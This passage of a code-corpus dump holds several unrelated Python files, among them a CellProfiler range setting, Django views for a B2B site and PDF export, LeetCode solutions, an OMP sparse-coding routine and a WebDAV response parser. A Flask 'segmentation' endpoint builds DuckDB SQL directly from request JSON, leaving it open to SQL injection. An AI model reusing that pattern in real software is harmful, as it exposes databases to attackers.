str):\n self.set_value_text(value)\n elif hasattr(value, \"__getitem__\") and len(value) == 2:\n self.set_value_text(\",\".join([self.value_to_str(v) for v in value]))\n else:\n raise ValueError(\"Value for range must be a string or two-tuple\")\n\n def get_min_text(self):\n \"\"\"Get the minimum of the range as a text value\"\"\"\n return self.get_value_text().split(\",\")[0]\n\n def get_min(self):\n \"\"\"Get the minimum of the range as a number\"\"\"\n try:\n value = self.str_to_value(self.get_min_text())\n if self._minval is not None and value < self._minval:\n return self._minval\n return value\n except:\n return self.__default_min\n\n def get_max_text(self):\n \"\"\"Get the maximum of the range as a text value\"\"\"\n vv = self.get_value_text().split(\",\")\n if len(vv) < 2:\n return \"\"\n return vv[1]\n\n def get_max(self):\n \"\"\"Get the maximum of the range as a number\"\"\"\n try:\n value = self.str_to_value(self.get_max_text())\n if self._maxval is not None and value > self._maxval:\n return self._maxval\n return value\n except:\n return self.__default_max\n\n def compose_min_text(self, value):\n \"\"\"Return the text value that would set the minimum to the proposed value\n\n value - the proposed minimum value as text\n \"\"\"\n return \",\".join((value, self.get_max_text()))\n\n def set_min(self, value):\n \"\"\"Set the minimum part of the value, given the minimum as a #\"\"\"\n self.set_value_text(self.compose_min_text(self.value_to_str(value)))\n\n def compose_max_text(self, value):\n \"\"\"Return the text value that would set the maximum to the proposed value\n\n value - the proposed maximum value as text\n \"\"\"\n return \",\".join((self.get_min_text(), value))\n\n def set_max(self, value):\n \"\"\"Set the maximum part of the value, given the maximum as a #\"\"\"\n self.set_value_text(self.compose_max_text(self.value_to_str(value)))\n\n min = property(get_min, set_min)\n min_text = property(get_min_text)\n max = property(get_max, set_max)\n max_text = property(get_max_text)\n\n def set_value_text(self, value):\n super(Range, self).set_value_text(value)\n try:\n self.test_valid(None)\n self.__default_min = self.min\n self.__default_max = self.max\n except:\n LOGGER.debug(\"Illegal value in range setting: %s\" % value)\n\n def test_valid(self, pipeline):\n values = self.value_text.split(\",\")\n if len(values) < 2:\n raise ValidationError(\n \"Minimum and maximum values must be separated by a comma\", self\n )\n if len(values) > 2:\n raise ValidationError(\"Only two values allowed\", self)\n for value in values:\n try:\n self.str_to_value(value)\n except:\n raise ValidationError(self.valid_format_text % value, self)\n v_min, v_max = [self.str_to_value(value) for value in values]\n if self._minval is not None and self._minval > v_min:\n raise ValidationError(\n \"%s can't be less than %s\"\n % (self.min_text, self.value_to_str(self._minval)),\n self,\n )\n if self._maxval is not None and self._maxval < v_max:\n raise ValidationError(\n \"%s can't be greater than %s\"\n % (self.max_text, self.value_to_str(self._maxval)),\n self,\n )\n if v_min > v_max:\n raise ValidationError(\n \"%s is greater than %s\" % (self.min_text, self.max_text), self\n )\n\n def eq(self, x):\n \"\"\"If the operand is a sequence, true if it matches the min and max\"\"\"\n if hasattr(x, \"__getitem__\") and len(x) == 2:\n return x[0] == self.min and x[1] == self.max\n return False\n","repo_name":"CellProfiler/core","sub_path":"cellprofiler_core/setting/range/_range.py","file_name":"_range.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"25464800461","text":"import logging\n\nfrom django.http import (\n HttpResponseForbidden,\n)\n\nfrom rest_framework.request import Request\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework import permissions\nfrom django.utils import timezone \n\nfrom api.stats.statistics import statistics_info\nfrom core.auth import user_authorized_for_stats\nfrom core.pdf import render as render_pdf, create_download_response\n\nlogger = logging.getLogger(__name__)\n\n\n\nclass StatisticsView(APIView):\n\n permission_classes = (permissions.IsAuthenticated,)\n\n\n def get(self, request):\n if not user_authorized_for_stats(request):\n return HttpResponseForbidden('Unauthorized User')\n\n start_date = request.query_params.get(\"start_date\")\n end_date = request.query_params.get(\"end_date\")\n tz = request.query_params.get(\"tz\")\n\n if (start_date is None) or (start_date == \"null\"):\n start_date = \"2020-01-01\"\n if (end_date is None) or (end_date == \"null\"):\n end_date = timezone.now().strftime(\"%Y-%m-%d\")\n if (tz is None) or (tz == \"null\"):\n tz = 0\n else:\n tz = int(tz) \n \n return Response(statistics_info(start_date, end_date, tz))\n\n\n\n def post(self, request):\n \n html = request.data['html']\n\n try: \n pdf_content = render_pdf(html)\n\n except Exception as ex:\n logger.error(\"ERROR: Pdf generation failed %s\", ex)\n raise\n\n return create_download_response(pdf_content)\n\n","repo_name":"bcgov/family-law-act-app","sub_path":"api/api/views/statistics_view.py","file_name":"statistics_view.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"62"} +{"seq_id":"40666383284","text":"class Solution:\n def divideArray(self, nums: List[int]) -> bool:\n dt = defaultdict(int)\n \n for num in nums:\n dt[num]+=1\n \n for key in dt:\n if dt[key]%2:\n return False\n return True","repo_name":"Koushik-Deb/CompetitiveProgramming-LeetCode","sub_path":"Bit Manipulation/EASY/Divide Array Into Equal Pairs-2206.py","file_name":"Divide Array Into Equal Pairs-2206.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2256489368","text":"from flask import Flask, request, jsonify\r\nimport duckdb\r\n\r\napp = Flask(__name__)\r\ndb = duckdb.connect('my_db.duckdb')\r\n\r\n\r\n\r\n@app.route('/segmentation', methods=['POST'])\r\ndef segmentation():\r\n payload = request.json\r\n \r\n # Get the table name and criteria from the payload\r\n table_name = payload.get('table_name')\r\n criteria = payload.get('criteria')\r\n \r\n # Build the SQL query based on the criteria\r\n query = f\"SELECT DISTINCT {table_name}.user_id FROM {table_name}\"\r\n if criteria:\r\n query += \" INNER JOIN user_events ON users.user_id = user_events.user_id WHERE \"\r\n for field, value in criteria.items():\r\n if isinstance(value, dict):\r\n for key, val in value.items():\r\n query += f\"{key}.{field} = '{val}' AND \"\r\n else:\r\n query += f\"{table_name}.{field} = '{value}' AND \"\r\n # Remove the last \"AND\" from the query\r\n query = query[:-5]\r\n \r\n # Execute the query and return the results as JSON\r\n results = db.execute(query).fetchall()\r\n keys = [column[0] for column in db.execute(f\"PRAGMA table_info({table_name})\").fetchall()]\r\n response = []\r\n for row in results:\r\n response.append(dict(zip(keys, row)))\r\n return jsonify(response)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run()","repo_name":"Odion-Sonny/GHO","sub_path":"dummy.py","file_name":"dummy.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30199448097","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 08 15:00:03 2017\r\n============================================================================\r\n Sparse coding of a group of signals based on a given \r\n dictionary and specified number of atoms to use. \r\n input arguments: D - the dictionary\r\n X - the signals to represent\r\n errorGoal - the maximal allowed representation error for\r\n each siganl.\r\n output arguments: A - sparse coefficient matrix.\r\n============================================================================\r\n\r\n@author: Rehan\r\n\"\"\"\r\nimport numpy as np\r\nfrom copy import deepcopy\r\nfrom numpy.linalg import pinv\r\n\r\ndef omperr(D,X,errorGoal):\r\n n,P = X.shape\r\n n,K = D.shape\r\n E2 = (errorGoal**2)*n\r\n maxNumCoef = n/2\r\n A = np.zeros((D.shape[1],X.shape[1]))\r\n for k in range(P):\r\n a = 0\r\n x = deepcopy(X[:,k])\r\n residual = deepcopy(x)\r\n indx = np.array([],dtype=int)\r\n currResNorm2 = np.sum(residual**2)\r\n j = 0\r\n while currResNorm2 > E2 and j < maxNumCoef:\r\n j = j+1\r\n proj = np.dot(D.T,residual)\r\n pos = np.argmax(np.abs(proj))\r\n indx = np.append(indx,int(pos))\r\n a = np.dot(pinv(D[:,indx[0:j]]),x)\r\n residual = x-np.dot(D[:,indx[0:j]],a)\r\n currResNorm2 = np.sum(residual**2)\r\n if (len(indx) > 0):\r\n A[indx,k] = deepcopy(a)\r\n return A\r\n","repo_name":"Rehan-Ahmad/Dictionary-Learning-Algorithms","sub_path":"ImageDenoising/omperr.py","file_name":"omperr.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"62"} +{"seq_id":"24985211115","text":"import random\nimport math\n\n#GENERATION PHASE\n#There are 3 inputs in this model: \n# 1. Days since infected for host\n# 2. Duration of interaction\n# 3. Proximity of interaction\n\n#THE NEXT 3 FUNCTIONS TAKE IN A PARAMETER AND RETURN A FLOAT OUTPUT BETWEEN 0 AND 100, with 100 indicating a high chance of infection\ndef scaleDaysSinceInfectedForHost(days):\n incubationPeriod = random.randint(2, 14)\n\n x = days\n n = incubationPeriod\n\n #100 means that someone is at their maximum infectivity; 50 means they're at half of their maximum infectivity\n relativeProbabilityOfInfection = ( (-1 / n) * ( ( x - n ) ** 2 ) + n ) / n * 100\n \n return max(relativeProbabilityOfInfection, 0)\n\ndef scaleDurationOfInteractionMinutes(durationMins):\n x = durationMins\n\n probability = ( math.e ** (1/8)*x ) - .5\n\n scaled = probability * 8.30426839395\n\n return min(scaled, 100)\n\ndef scaleProximityOfInteraction(prox):\n return prox ** 2\n\n#Input and output arrays\nx = []\ny = []\n\nfor i in range(0, 100000):\n daysSinceInfectedForHost = random.randint(1, 14)\n durationOfInteractionMinutes = random.randint(1, 75)\n proximityOfInteraction = random.randint(1, 10)\n\n scaledChanceFromDate = scaleDaysSinceInfectedForHost(daysSinceInfectedForHost)\n scaledDuration = scaleDurationOfInteractionMinutes(durationOfInteractionMinutes)\n scaledProxim = scaleProximityOfInteraction(proximityOfInteraction)\n\n #In the real world, there are a lot of variables that affect how different factors affect the end result. For that reason, we're using\n #RNG to add some unpredictability to the scaled variables\n scaledChanceFromDate *= ( random.randint(75, 125) / 100)\n scaledDuration *= ( random.randint(75, 125) / 100)\n scaledProxim *= ( random.randint(75, 125) / 100)\n\n x.append(scaledChanceFromDate)\n x.append(scaledDuration)\n x.append(scaledProxim)\n\n resultSum = scaledChanceFromDate + scaledDuration + scaledProxim\n\n resultSum *= ( random.randint(75, 125) / 100)\n\n isPositive = resultSum > 250\n y.append(isPositive)\n\n print(f\"{scaledChanceFromDate}; {scaledDuration}; {scaledProxim}; {resultSum}; {isPositive}\")\n\n#REGRESSION PHASE\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\n\nxNP = np.array(x).reshape(-1, 3)\nyNP = np.array(y).reshape(-1, 1)\n\nxNPTrain, xNPTest, yNPTrain, yNPTest = train_test_split(xNP, yNP, test_size=0.3)\n\n# all parameters not specified are set to their defaults\nlogisticRegr = LogisticRegression()\n\nlogisticRegr.fit(xNPTrain, yNPTrain.ravel())\nscore = logisticRegr.score(xNPTest, yNPTest)\nprint(score)","repo_name":"adithyay328/AWSASUHack2021","sub_path":"src/logRegression/logRegression.py","file_name":"logRegression.py","file_ext":"py","file_size_in_byte":2644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38499574913","text":"from django.shortcuts import render ,redirect\nfrom B2bApp .models import *\nfrom django.views import View\nfrom B2bApp .forms import *\nfrom CommonApp .models import *\nfrom AccountApp .models import *\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator\nfrom B2bApp .forms import ContactForm,send_mail\nfrom django.views.generic import FormView, TemplateView\nfrom django.urls import reverse_lazy\nfrom django.db.models import Q\nfrom django.template.loader import get_template\n\n# Create your views here.\n# below import is done for sending emails\n\nfrom django.conf import settings\nfrom django.core.mail import message\nfrom django.core.mail import send_mail,EmailMultiAlternatives\nfrom django.core import mail\nfrom django.core.mail.message import EmailMessage\n##########################################\n######### Home Function Start ############\n########################################## \nclass HomeView(View):\n def get(self, request):\n category=Category.objects.all()\n company=CompanyInfo.objects.all()\n locations=CompanyInfo.objects.all()\n product=Product.objects.all()\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n context={\n \"category\":Category.objects.all(),\n \"location\":set(unq_list),\n 'product':product,\n \"company\":company,\n \"logo\":WebsiteLogo.objects.all(),\n \"form\":SubscriberForm(),\n \"category\":category\n }\n return render(request, 'b2b/index.html',context)\n##########################################\n######### Home Function End ##############\n########################################## \n\n##########################################\n######### About Function Start ###########\n########################################## \nclass AboutView(View):\n def get(self, request):\n context={\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/about.html',context)\n##########################################\n######### About Function end #############\n########################################## \n \n##########################################\n######### Contact Function start #########\n##########################################\nclass ContactView(FormView):\n template_name = 'b2b/contact.html'\n form_class = ContactForm\n success_url = reverse_lazy('B2bApp:success')\n def form_valid(self, form):\n # Calls the custom send method\n form.send()\n return super().form_valid(form)\n def get(self,request):\n context={\n \"logo\":WebsiteLogo.objects.all(),\n \"form\":ContactForm\n }\n return render(request,self.template_name,context)\n##########################################\n######### Contact Function End ###########\n########################################## \nclass ContactSuccessView(TemplateView):\n \n template_name = 'b2b/success.html'\n\n##########################################\n############# Category Function ##########\n##########################################\nclass CategoryView(View):\n def get(self, request):\n product=Product.objects.all()\n \n context={\n 'product':product,\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/category.html',context)\n##########################################\n############# Category Function ##########\n##########################################\n\n##########################################\n############# Listing Function ###########\n##########################################\nclass ListingView(View):\n def get(self,request):\n products=CompanyInfo.objects.all()\n subCategorys=SubCategory.objects.all()\n all_page=CompanyInfo.objects.all()\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n locations=CompanyInfo.objects.all()\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n context={\n 'products':products,\n 'subCategorys':subCategorys,\n 'page_obj':page_obj,\n \"category\":Category.objects.all(),\n \"location\":set(unq_list),\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/listings.html',context)\n##########################################\n############# Listing Function ###########\n##########################################\n\n##########################################\n######### Fliter cate Function start #####\n##########################################\nclass FilterCategory(View):\n def get(self,request):\n cate_name_get=request.GET.get('cate')\n get_filter_id=Category.objects.filter(name=cate_name_get)[0]\n filterdata=CompanyInfo.objects.filter(Company_location=request.GET.get('loc'),Company_category=get_filter_id.id)\n subCategorys=SubCategory.objects.all()\n all_page=filterdata\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n data_filtered=[]\n for i in filterdata:\n if str(i.Company_category)==request.GET.get('cate'):\n data_filtered.append(i)\n locations=CompanyInfo.objects.all()\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n context={\n \"page_obj\":data_filtered,\n \"category\":Category.objects.all(),\n 'subCategorys':subCategorys,\n \"location\":set(unq_list),\n \"page_obj\":page_obj,\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/listings.html',context)\n \n##########################################\n######### Fliter cate Function end #######\n##########################################\n\n##########################################\n######### Fliter cate Function start #####\n########################################## \nclass FilterCate(View):\n def get(self,request,id):\n data=Category.objects.get(pk=id)\n filterdata=data.company.all()\n subCategorys=SubCategory.objects.all()\n all_page=filterdata\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n data_filtered=[]\n for i in filterdata:\n if str(i.Company_category)==request.GET.get('cate'):\n data_filtered.append(i)\n locations=CompanyInfo.objects.all()\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n context={\n \"page_obj\":data_filtered,\n \"category\":Category.objects.all(),\n 'subCategorys':subCategorys,\n \"location\":set(unq_list),\n \"page_obj\":page_obj,\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/listings.html',context)\n##########################################\n######### Fliter cate Function end #######\n########################################## \n\n##########################################\n######### Fliter loc Function start ######\n########################################## \nclass Filterlocation(View):\n def get(self,request,loc):\n filterdata=CompanyInfo.objects.filter(Company_location=loc)\n locations=CompanyInfo.objects.all()\n subCategorys=SubCategory.objects.all()\n all_page=filterdata\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n \n context={\n \"page_obj\":filterdata,\n \"location\":set(unq_list),\n 'subCategorys':subCategorys,\n \"page_obj\":page_obj,\n \"logo\":WebsiteLogo.objects.all()\n\n }\n return render(request, 'b2b/listings.html',context)\n##########################################\n######### Fliter loc Function end ########\n########################################## \n\n##########################################\n###### Fliter Subcate Function start #####\n########################################## \nclass FilterSubcategory(View):\n def get(self,request,id):\n data=Product.objects.get(pk=id)\n filterdata=data.company.all()\n locations=CompanyInfo.objects.all()\n subCategorys=SubCategory.objects.all()\n all_page=filterdata\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n \n context={\n \"page_obj\":filterdata,\n \"location\":set(unq_list),\n 'subCategorys':subCategorys,\n \"page_obj\":page_obj,\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/listings.html',context)\n##########################################\n######## Fliter Subcate Function end #####\n########################################## \n\n##########################################\n########## SendFunction start ###########\n########################################## \nclass SendQuery(View):\n def post(self,request):\n if request.method == 'POST':\n name=request.POST.get('name')\n email=request.POST.get('emailid')\n phone=request.POST.get('number')\n message=request.POST.get('mes')\n obj_query=SendPage.objects.create(name=name,email=email,phone=phone,message=message)\n obj_query.save()\n #emails sending starts from here\n from_email=settings.EMAIL_HOST_USER\n connection=mail.get_connection()\n connection.open()\n email_message=mail.EmailMessage(f'{email}',f'Name: {name}\\nEmail : {email}\\nPhone: {phone}\\nQUERY : {message}',from_email,['pharmastar64@gmail.com','pharmastar64@gmail.com'],connection=connection)\n # email_client=mail.EmailMessage('PharmaXpert Response','Thanks For Reaching us\\n\\nPharmaXpert.com\\n\\nofficialmitsmarketing@gmail.com',connection=connection)\n # connection.send_messages([email_message,email_client])\n connection.send_messages([email_message])\n connection.close()\n # messages.info(request,\"Thanks For Reaching Us! We will get back you soon....\")\n context={\n \"logo\":WebsiteLogo.objects.all()\n }\n return redirect('B2bApp:success',context)\n context={\n \"logo\":WebsiteLogo.objects.all()\n }\n return render (request,'b2b/success.html',context)\n##########################################\n############ send Function end ###########\n########################################## \n\n##########################################\n######### Serach Function start ##########\n########################################## \nclass Serach(View):\n def get(self,request):\n search=request.GET.get('look')\n filterdata=CompanyInfo.objects.filter(Q(Company_name__icontains=search) | Q(Company_category__name__icontains=search) | Q( Company_subcategory__name__icontains=search) | Q(Company_location__icontains=search))\n # if filterdata.exists():\n # filterdata=CompanyInfo.objects.filter(Q(Company_name__icontains=search) | Q(Company_category__name__icontains=search) | Q( Company_subcategory__name__icontains=search))\n # else:\n # return redirect ('404')\n subCategorys=SubCategory.objects.all()\n all_page=filterdata\n paginator=Paginator(all_page,7)\n page_no=request.GET.get('page')\n page_obj=paginator.get_page(page_no)\n data_filtered=[]\n for i in filterdata:\n if str(i.Company_category)==request.GET.get('cate'):\n data_filtered.append(i)\n locations=CompanyInfo.objects.all()\n unq_list=[]\n for i in locations:\n unq_list.append(i.Company_location)\n context={\n \"page_obj\":data_filtered,\n \"category\":Category.objects.all(),\n 'subCategorys':subCategorys,\n \"location\":set(unq_list),\n \"page_obj\":page_obj,\n \"logo\":WebsiteLogo.objects.all()\n }\n return render(request, 'b2b/listings.html',context)\n\n##########################################\n######### Serach Function end ############\n########################################## \n\ndef subscribe(request):\n if request.method == 'POST':\n form =SubscriberForm(request.POST)\n if form.is_valid():\n subscriber = form.save(commit=False)\n subscriber.save()\n subscribers = Subscriber.objects.all()\n subject = 'Welcome to PharmaXpert'\n message = 'Thank you for subscribing to our newsletter'\n from_email =settings.EMAIL_HOST_USER\n recipient_list = [subscriber.email or subscriber.name for subscriber in subscribers]\n send_mail(subject, message, from_email, recipient_list)\n return redirect('B2bApp:success')\n else:\n form = SubscriberForm()\n return render(request, 'b2b/index.html', {'form': form})","repo_name":"sandeep19961996/b2b","sub_path":"B2bApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21874024530","text":"from collections import deque\n\nwater_quantity = int(input())\nname = input()\nqueue = deque()\nwhile name != \"Start\":\n queue.append(name)\n\n name = input()\n\ncommand = input()\nwhile command != \"End\":\n command = command.split()\n if command[0] == \"refill\":\n water_quantity += int(command[1])\n else:\n wanted_liters = int(command[0])\n if water_quantity >= wanted_liters:\n person_name = queue.popleft()\n print(f\"{person_name} got water\")\n water_quantity -= wanted_liters\n else:\n person_name = queue.popleft()\n print(f\"{person_name} must wait\")\n command = input()\n\nprint(f\"{water_quantity} liters left\")","repo_name":"plam3nk/Python-Advanced","sub_path":"Lab List as Stacks and Queues/water_dispenser.py","file_name":"water_dispenser.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22559864171","text":"class Solution:\n def maxProduct(self, nums: [int]) -> int:\n\n n = len(nums)\n max_value = float(\"-inf\")\n imax, imin = 1, 1\n for i in range(n):\n if nums[i] < 0:\n tmp = imax\n imax = imin\n imin = tmp\n\n imax = max(imax * nums[i], nums[i])\n imin = min(imin * nums[i], nums[i])\n\n max_value = max(max_value, imax)\n\n return max_value\n\n\nif __name__ == '__main__':\n nums = [-2, 3, -4]\n S = Solution()\n print(S.maxProduct(nums))\n","repo_name":"shuxinyin/leetcode","sub_path":"DynamicProgram/first_round/152_maxProduct.py","file_name":"152_maxProduct.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"62"} +{"seq_id":"1690989333","text":"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom tasks import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n #path('home/', views.home, name='home'),\n path('', views.home, name='home'),\n #path('tasks/', views.helloWorld, name='tasks'),\n path('inscribirse/', views.inscribirse, name='inscribirse'),\n path('tareas/', views.tarea, name='tareas'),\n path('tareas_Completado/', views.tarea_completa, name='tarea_completadas'),\n path('tarea/crear/', views.crearTarea, name='crearTarea'),\n path('tarea//', views.detallesTarea, name='detallesTarea'),\n path('tarea//completado', views.completadaTarea, name='completadaTarea'),\n path('tarea//eliminado', views.eliminadaTarea, name='eliminadaTarea'),\n path('cerrarSesion/', views.cerrarSesion, name='cerraSesion'),\n path('iniciarSesion/', views.iniciarSesion, name='iniciarSesion')\n]\n","repo_name":"brayandv20/basic-django","sub_path":"djangoCrud/djangoCrud/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29806498115","text":"from django.urls import path, include\nfrom Apps.staff import views\n\n\nurlpatterns = [\n # CRUD ENDPOINTS\n path('create/', views.StaffCreateView.as_view()),\n path('list/', views.StaffListApiView.as_view()),\n\n path('review/', views.StaffRetrieveView.as_view()),\n path('update/', views.StaffUpdateView.as_view()),\n path('delete/', views.StaffDeleteView.as_view()),\n #path('staff/review/', views.StaffReviewView.as_view()),\n\n # OTHER ENDPOINTS\n # Tecnico mas viejo\n path('get-oldest/', views.StaffOldestManager.as_view()),\n]","repo_name":"andrescuor/DjangoRestApi","sub_path":"Apps/staff/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26416764719","text":"\"\"\"Parsing propfind response.\"\"\"\n\nfrom http.client import responses\nfrom typing import TYPE_CHECKING, Any, Dict, Optional, Union\nfrom xml.etree.ElementTree import Element, ElementTree, SubElement\nfrom xml.etree.ElementTree import fromstring as str2xml\nfrom xml.etree.ElementTree import tostring as xml2string\n\nfrom .date_utils import from_rfc1123, fromisoformat\nfrom .urls import URL, join_url_path, relative_url_to, strip_trailing_slash\n\nif TYPE_CHECKING:\n from httpx import Response as HTTPResponse\n\n\n# Map name used in library with actual prop name\nMAPPING_PROPS: Dict[str, str] = {\n \"content_length\": \"getcontentlength\",\n \"etag\": \"getetag\",\n \"created\": \"creationdate\",\n \"modified\": \"getlastmodified\",\n \"content_language\": \"getcontentlanguage\",\n \"content_type\": \"getcontenttype\",\n \"display_name\": \"displayname\",\n}\n\n\ndef prop(\n node: Union[Element, ElementTree], name: str, relative: bool = False\n) -> Optional[str]:\n \"\"\"Returns text of the property if it exists under DAV namespace.\"\"\"\n namespace = \"{DAV:}\"\n selector = \".//\" if relative else \"\"\n xpath = f\"{selector}{namespace}{name}\"\n return node.findtext(xpath)\n\n\nclass DAVProperties:\n \"\"\"Parses data into certain properties.\n\n Only supports a certain set of properties to extract. Others are ignored.\n \"\"\"\n\n def __init__(self, response_xml: Optional[Element] = None):\n \"\"\"Parses props to certain attributes.\n\n Args:\n response_xml: element\n \"\"\"\n self.response_xml: Optional[Element] = response_xml\n self.raw: Dict[str, Any] = {}\n\n def extract_text(prop_name: str) -> Optional[str]:\n text = (\n prop(response_xml, MAPPING_PROPS[prop_name], relative=True)\n if response_xml\n else None\n )\n self.raw[prop_name] = text\n return text\n\n created = extract_text(\"created\")\n self.created = fromisoformat(created) if created else None\n\n modified = extract_text(\"modified\")\n self.modified = from_rfc1123(modified) if modified else None\n\n self.etag = extract_text(\"etag\") or None\n self.content_type = extract_text(\"content_type\")\n\n content_length = extract_text(\"content_length\")\n self.content_length = int(content_length) if content_length else None\n self.content_language = extract_text(\"content_language\")\n\n collection: Optional[bool] = None\n resource_type: Optional[str] = None\n resource_xml: Optional[Element] = None\n\n if response_xml is not None:\n resource_xml = response_xml.find(\".//{DAV:}resourcetype\")\n\n if resource_xml is not None:\n collection = resource_xml.find(\".//{DAV:}collection\") is not None\n resource_type = \"directory\" if collection else \"file\"\n\n self.collection = collection\n self.resource_type = resource_type\n\n self.display_name = extract_text(\"display_name\")\n\n def as_dict(self, raw: bool = False) -> Dict[str, Any]:\n \"\"\"Returns all properties that it supports parsing.\n\n Args:\n raw: Provides raw data instead.\n \"\"\"\n if raw:\n return self.raw\n\n return {\n \"content_length\": self.content_length,\n \"created\": self.created,\n \"modified\": self.modified,\n \"content_language\": self.content_language,\n \"content_type\": self.content_type,\n \"etag\": self.etag,\n \"type\": self.resource_type,\n \"display_name\": self.display_name,\n }\n\n\nclass Response:\n \"\"\"Individual response from multistatus propfind response.\"\"\"\n\n def __init__(self, response_xml: Element) -> None:\n \"\"\"Parses xml from each responses to an easier format.\n\n Args:\n response_xml: element\n\n Note: we do parse to figure out status,\n but we leave to ResourceProps to figure out.\n \"\"\"\n self.response_xml = response_xml\n href = prop(response_xml, \"href\")\n assert href\n\n parsed = URL(href)\n\n # href is what was received\n self.href = href\n self.is_href_absolute = parsed.is_absolute_url\n\n # path is absolute path from the href\n # collection might contain `/` at the end\n self.path = parsed.path\n\n # path_norm is the path-absolute without differentiating\n # `/` at the end. Used as a key for the responses.\n # but does have a slash in front.\n self.path_norm = strip_trailing_slash(self.path)\n\n status_line = prop(response_xml, \"status\")\n code = None\n if status_line:\n _, code_str, *_ = status_line.split()\n code = int(code_str)\n\n self.status_code = code\n self.reason_phrase = (\n responses[self.status_code] if self.status_code else None\n )\n\n self.response_description: Optional[str] = prop(\n response_xml, \"responsedescription\"\n )\n self.error = prop(response_xml, \"error\")\n self.location = prop(response_xml, \"location\")\n\n self.has_propstat = response_xml.find(\"{DAV:}propstat\") is not None\n self.properties = DAVProperties(response_xml)\n\n def __str__(self) -> str:\n \"\"\"User representation for the response.\"\"\"\n return f\"Response: {self.path_norm}\"\n\n def __repr__(self) -> str:\n \"\"\"Repr for the response.\"\"\"\n return f\"Response: {self.path}\"\n\n def path_relative_to(self, base_url: URL) -> str:\n \"\"\"Relative path of the resource from the response.\"\"\"\n return relative_url_to(base_url, self.path_norm)\n\n\nclass MultiStatusResponseError(Exception):\n \"\"\"Raised when multistatus response has failures in it.\"\"\"\n\n def __init__(self, statuses: Dict[str, str]) -> None:\n \"\"\"Pass multiple statuses, which is displayed when error is raised.\"\"\"\n self.statuses = statuses\n\n assert self.statuses\n if len(self.statuses) > 1:\n msg = \"multiple errors received: \" + str(statuses)\n else:\n path, status = list(statuses.items())[0]\n msg = f\"The resource {path} is {status.lower()}\"\n\n self.msg = msg\n super().__init__(msg)\n\n\nclass MultiStatusResponse:\n \"\"\"Parse multistatus responses from the received http content.\n\n Propfind response can contain multiple responses for multiple resources.\n The format is in xml, so we try to parse it into an easier format, and\n provide an easier way to access a response for one particular resource.\n\n Also note that propfind response could be partial, in that those\n properties may not exist if we are doing propfind with named properties.\n \"\"\"\n\n def __init__(self, content: str) -> None:\n \"\"\"Parse the http content from propfind request.\n\n Args:\n content: body received from PROPFIND call\n \"\"\"\n self.content = content\n self.tree = tree = str2xml(content)\n\n self.response_description: Optional[str] = prop(\n tree, \"responsedescription\"\n )\n\n self.responses: Dict[str, Response] = {}\n for resp in tree.findall(\".//{DAV:}response\"):\n r_obj = Response(resp)\n self.responses[r_obj.path_norm] = r_obj\n\n def get_response_for_path(self, hostname: str, path: str) -> Response:\n \"\"\"Provides response for the resource with the specific href/path.\n\n Args:\n hostname: Hostname path.\n path: Propfind response could have multiple responses inside\n for multiple resources (could be recursive based on the `Depth`\n as well). We use `href` to match the proper response for that\n resource.\n \"\"\"\n return self.responses[join_url_path(hostname, path)]\n\n def raise_for_status(self) -> None:\n \"\"\"Raise error if the responses in the multistatus resp. has errors.\"\"\"\n statuses = {\n resp.href: resp.reason_phrase\n for resp in self.responses.values()\n if resp.reason_phrase\n and resp.status_code\n and 400 <= resp.status_code <= 